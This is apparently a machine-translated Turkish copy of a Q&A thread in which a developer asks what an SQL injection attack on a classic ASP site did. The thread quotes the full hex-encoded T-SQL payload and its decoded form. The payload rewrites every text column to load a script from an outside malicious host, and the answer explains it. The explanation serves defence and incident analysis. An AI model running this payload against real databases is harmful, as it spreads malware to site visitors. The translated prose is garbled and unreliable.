SORU
5 Aralık 2011, PAZARTESİ


Biri bana bu SQL enjeksiyon saldırısı açıklayabilir misiniz?

Çok ilgili kodlama ve şirketimin (klasik) eski ASP sitelerde bu hafta temizlik yapacağım bir şeydi bu buraya yazmak istedim.

Var hit SQL enjeksiyon saldırı oldu bir kaç gün önce, ama ben kafamı kaşıyorum NE tam olarak 'zarar' için SQL server () bu SQL sorguları).

Dürüst olmak gerekirse, çok zekice olduğunu düşündüm bu yapıldı ve hiçbir arındırılmış giriş az 10 yıllık eski bir site olması için benim şirket kendi hatası.

Saldırı:

122 ilan @s varchar(4000) set @=(ikilik(4000) olarak 0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72) dökme exec(@s) s-

Bunu ne çözer:anlamak istiyorum ne ()

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE [' @T '] SET [' @C ']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--'' RTRIM(CONVERT(VARCHAR(6000),[' @C '])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),[' @C '])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Bir yedekleme (ön enjeksiyon) iyileşti ve tüm app girip tüm giriş ifadeleri dezenfekte ettik. Bizim sunucu güvenlik duvarı, doğrudan bir SQL erişim, ancak arta kalan ne olabilir bilmek istiyorum, ve SQL sorgu itiraf etmeliyim ki kafamda.

Birini Dene ve bana saldırmak için SQL açıklayabilir mi?

ÖZÜR DİLERİM BEN TAM DÖKÜMÜ & SQL GÜNCELLENDİ

CEVAP
5 Aralık 2011, PAZARTESİ


Okunabilirlik için biçimlendirme çok şey açıklığa kavuşacaktır:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE ['   @T   ']
               SET ['   @C   '] =
                     ''"></title>''  
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>''  
                     ''<!--''  
                     RTRIM(CONVERT(VARCHAR(6000),['   @C   ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),['   @C   '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Her tablonun her sütunu metin ve ekler biraz HTML-bir işaretçi için dışarıdan üretilen JavaScript içeren HTML geçiyor.

Bunu Paylaş:
  • Google+
  • E-Posta
Etiketler:

YORUMLAR

SPONSOR VİDEO

Rastgele Yazarlar

  • Chilla Frilla™

    Chilla Frill

    7 Aralık 2006
  • DudeFromUkraine

    DudeFromUkra

    7 Ocak 2008
  • NicoleGrippo

    NicoleGrippo

    14 Kasım 2006